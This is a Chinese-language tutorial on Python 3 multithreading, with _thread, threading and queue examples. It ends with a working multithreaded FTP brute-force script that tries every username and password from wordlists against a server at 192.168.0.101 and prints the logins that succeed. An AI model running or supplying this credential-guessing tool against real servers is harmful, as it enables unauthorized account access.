Python3 多线程

多线程类似于同时执行多个不同程序,多线程运行有如下优点:

  • 使用线程可以把占据长时间的程序中的任务放到后台去处理。
  • 用户界面可以更加吸引人,比如用户点击了一个按钮去触发某些事件的处理,可以弹出一个进度条来显示处理的进度。
  • 程序的运行速度可能加快。
  • 在一些等待的任务实现上如用户输入、文件读写和网络收发数据等,线程就比较有用了。在这种情况下我们可以释放一些珍贵的资源如内存占用等等。

每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制。

每个线程都有他自己的一组CPU寄存器,称为线程的上下文,该上下文反映了线程上次运行该线程的CPU寄存器的状态。

指令指针和堆栈指针寄存器是线程上下文中两个最重要的寄存器,线程总是在进程得到上下文中运行的,这些地址都用于标志拥有线程的进程地址空间中的内存。

  • 线程可以被抢占(中断)。
  • 在其他线程正在运行时,线程可以暂时搁置(也称为睡眠) -- 这就是线程的退让。

线程可以分为:

  • 内核线程:由操作系统内核创建和撤销。
  • 用户线程:不需要内核支持而在用户程序中实现的线程。

Python3 线程中常用的两个模块为:

  • _thread
  • threading(推荐使用)

thread 模块已被废弃。用户可以使用 threading 模块代替。所以,在 Python3 中不能再使用"thread" 模块。为了兼容性,Python3 将 thread 重命名为 "_thread"。

_thread例子: 

#简单的_thread线程
import _thread
import time

#为线程定义一个函数
def print_time(threadName, delay):
    count = 0
    while count < 5:
        time.sleep(delay)
        count +=1
        print("%s: %s" %(threadName, time.ctime(time.time())))

#创建两个线程
try:
    _thread.start_new_thread(print_time, ("正在搞屎1",1,))
    _thread.start_new_thread(print_time, ("正在搞屎2", 2,))
except:
    print("Error!!!")

while 1:#无限循环,因为线程在后台运行,如果没有while 1,主程序会结束运行,后台的线程也会停止
    pass

 

threading:

基本使用:

import threading
import time

class myThread (threading.Thread): #继承threading.Thread
    def __init__(self, threadID, name, delay):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.delay1 = delay
    def run(self):
        print ("开始线程:" + self.name)
        print_time(self.name, self.delay1, 5)
        print ("退出线程:" + self.name)

def print_time(threadName, delay, counter):
    while counter:
        #threadName.exit()  退出线程
        time.sleep(delay)
        print ("%s: %s" % (threadName, time.ctime(time.time())))

        counter -= 1

# 创建新线程
thread1 = myThread(1, "Thread-1", 1) #创建一个类的对象
thread2 = myThread(2, "Thread-2", 2)

# 开启新线程
thread1.start() #调用对象里面的方法(函数)
thread2.start()
thread1.join() #等待线程结束
thread2.join()
print ("退出主线程")

 

加上queue队列:

import threading
import time
import queue


def gaoshi():
    while not q.empty():
        dict = q.get()
        print(str(dict) + "  正在搞事!")
        time.sleep(1)

if __name__ == '__main__':
    print("开始搞事")
    thread_x = 2
    q = queue.Queue()
    for i in range(10):
        q.put(i)      #把数据写这个对象里面,用于多线程调用
    print(q.get())
    for x in range(int(thread_x)):
        t = threading.Thread(target=gaoshi)
        t.start()
        print("标记1")  # 线程依然在后台运行
    print("标记2")

结果:

python,多线程 python多线程爆内存_多线程

 

 

爆破ftp实战:

import ftplib
import threading
import queue
import sys

#利用Python开发其他协议爆破脚本
def ftp_check():
    while not q.empty():
        dict=q.get()
        dict=dict.split('|')
        username=dict[0]
        password=dict[1]
        ftp=ftplib.FTP()
        try:
            ftp.connect('192.168.0.101',21)
            ftp.login(username,password)
            ftp.retrlines('list')
            ftp.close()
            print('success|'+username+'|'+password)
        except ftplib.all_errors:
            print('failed|'+username+'|'+password)
            ftp.close()
            pass


if __name__ == '__main__':
    print("python ftp_burte.py user.txt pass.txt 10")
    user_file=sys.argv[1]
    pass_file = sys.argv[2]
    thread_x=sys.argv[3]
    q=queue.Queue()
    for username in open(user_file):
        for password in open(pass_file):
            username = username.replace('\n', '')
            password = password.replace('\n', '')
            diclist=username+'|'+password
            q.put(diclist)
    for x in range(int(thread_x)):
        t=threading.Thread(target=ftp_check)
        t.start()